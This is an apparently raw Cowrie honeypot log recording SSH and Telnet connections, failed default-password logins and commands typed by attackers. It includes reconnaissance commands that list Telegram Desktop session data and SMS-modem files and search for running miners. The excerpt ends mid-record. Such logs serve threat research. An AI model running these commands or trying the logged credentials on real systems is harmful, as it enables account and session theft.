{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:07.822129Z","src_ip":"159.203.92.129","session":"02b60020c8ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anon","password":"anon123","message":"login attempt [anon/anon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:07.831905Z","src_ip":"159.203.92.129","session":"02b60020c8ac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:08.007617Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:08.011545Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:08.122597Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":50842,"dst_ip":"159.203.135.109","dst_port":23,"session":"20ebc713fbbe","protocol":"telnet","message":"New connection: 159.223.86.167:50842 (159.203.135.109:23) [session: 20ebc713fbbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:08.215719Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:08.379592Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:08.382452Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:08.497039Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.431868076324463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:08.592415Z","src_ip":"159.223.86.167","session":"397eeb59c3eb","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:08.757352Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:08.761148Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":52602,"dst_ip":"159.203.135.109","dst_port":23,"session":"8baacab16cd2","protocol":"telnet","message":"New connection: 159.223.86.167:52602 (159.203.135.109:23) [session: 8baacab16cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:08.770811Z"}
{"eventid":"cowrie.session.closed","duration":33.34299850463867,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:08.774240Z","src_ip":"213.136.75.179","session":"73bd9f12797e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:08.838872Z","src_ip":"159.203.92.129","session":"02b60020c8ac","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:08.872440Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34456,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d5aa3ec08c2","protocol":"telnet","message":"New connection: 213.136.75.179:34456 (10.17.0.5:23) [session: 8d5aa3ec08c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:08.927998Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:09.120324Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:09.124267Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:09.315255Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":54478,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8a925e037d1","protocol":"telnet","message":"New connection: 23.254.167.244:54478 (159.203.135.109:23) [session: b8a925e037d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:09.500645Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:09.574378Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:09.577924Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:09.686818Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60140,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6f693c3f91e","protocol":"ssh","message":"New connection: 176.65.139.103:60140 (10.17.0.5:22) [session: b6f693c3f91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:09.819322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:09.825305Z","src_ip":"176.65.139.103","session":"b6f693c3f91e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:09.907490Z","src_ip":"176.65.139.103","session":"b6f693c3f91e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.854999780654907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:10.204527Z","src_ip":"159.223.86.167","session":"8c74e2ae2f67","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:10.490258Z","src_ip":"176.65.139.103","session":"b6f693c3f91e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34468,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5e69962115a","protocol":"telnet","message":"New connection: 213.136.75.179:34468 (10.17.0.5:23) [session: d5e69962115a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:11.327778Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:11.573986Z","src_ip":"176.65.139.103","session":"b6f693c3f91e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.661964416503906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:12.068727Z","src_ip":"5.189.178.126","session":"17b2a5ed9fda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34476,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7a029d0e840","protocol":"telnet","message":"New connection: 213.136.75.179:34476 (10.17.0.5:23) [session: b7a029d0e840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:12.603534Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":41212,"dst_ip":"159.203.135.109","dst_port":23,"session":"a167a3ede7a7","protocol":"telnet","message":"New connection: 159.223.86.167:41212 (159.203.135.109:23) [session: a167a3ede7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:12.653847Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":41272,"dst_ip":"159.203.135.109","dst_port":23,"session":"07f153cdfde3","protocol":"telnet","message":"New connection: 159.223.86.167:41272 (159.203.135.109:23) [session: 07f153cdfde3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:12.660696Z"}
{"eventid":"cowrie.session.closed","duration":31.329493761062622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:13.342537Z","src_ip":"159.223.86.167","session":"05d561a2713f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":55444,"dst_ip":"159.203.135.109","dst_port":23,"session":"50c61998fe72","protocol":"telnet","message":"New connection: 159.223.86.167:55444 (159.203.135.109:23) [session: 50c61998fe72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:16.150047Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59228,"dst_ip":"10.17.0.5","dst_port":22,"session":"6499bb66fe91","protocol":"ssh","message":"New connection: 176.65.139.103:59228 (10.17.0.5:22) [session: 6499bb66fe91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:16.235989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:16.242204Z","src_ip":"176.65.139.103","session":"6499bb66fe91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:16.324846Z","src_ip":"176.65.139.103","session":"6499bb66fe91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:16.587120Z","src_ip":"176.65.139.103","session":"6499bb66fe91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":57362,"dst_ip":"159.203.135.109","dst_port":23,"session":"b40228d07db0","protocol":"telnet","message":"New connection: 159.223.86.167:57362 (159.203.135.109:23) [session: b40228d07db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:16.599246Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":60042,"dst_ip":"159.203.135.109","dst_port":23,"session":"db44ed48d616","protocol":"telnet","message":"New connection: 159.223.86.167:60042 (159.203.135.109:23) [session: db44ed48d616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:17.124768Z"}
{"eventid":"cowrie.session.closed","duration":31.521892547607422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:17.542951Z","src_ip":"213.136.75.179","session":"59b723363d9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:17.694078Z","src_ip":"176.65.139.103","session":"6499bb66fe91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.60440683364868,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:18.635540Z","src_ip":"213.136.75.179","session":"5684ad4c32af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":41218,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee33155560d3","protocol":"telnet","message":"New connection: 159.223.86.167:41218 (159.203.135.109:23) [session: ee33155560d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:19.410846Z"}
{"eventid":"cowrie.session.closed","duration":34.034770488739014,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:19.530581Z","src_ip":"213.136.75.179","session":"a307eb0c6098","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":44954,"dst_ip":"159.203.135.109","dst_port":23,"session":"b19f40842cdc","protocol":"telnet","message":"New connection: 159.223.86.167:44954 (159.203.135.109:23) [session: b19f40842cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:20.193604Z"}
{"eventid":"cowrie.session.closed","duration":30.56066346168518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:20.216450Z","src_ip":"159.223.86.167","session":"6819824b5483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":51424,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5ef63f8bcda","protocol":"telnet","message":"New connection: 155.117.234.131:51424 (10.17.0.5:23) [session: b5ef63f8bcda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:20.900752Z"}
{"eventid":"cowrie.session.closed","duration":32.66786479949951,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:22.282200Z","src_ip":"213.136.75.179","session":"8c262b907a3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18891167640686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:22.375918Z","src_ip":"159.223.86.167","session":"f92a50863a03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59268,"dst_ip":"10.17.0.5","dst_port":22,"session":"c862cd7e5ecb","protocol":"ssh","message":"New connection: 176.65.139.103:59268 (10.17.0.5:22) [session: c862cd7e5ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:22.627437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:22.632473Z","src_ip":"176.65.139.103","session":"c862cd7e5ecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.75197243690491,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:22.637321Z","src_ip":"213.136.75.179","session":"1aa6c2c9e5c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":55750,"dst_ip":"159.203.135.109","dst_port":23,"session":"4829029f5b44","protocol":"telnet","message":"New connection: 159.223.86.167:55750 (159.203.135.109:23) [session: 4829029f5b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:22.695414Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"S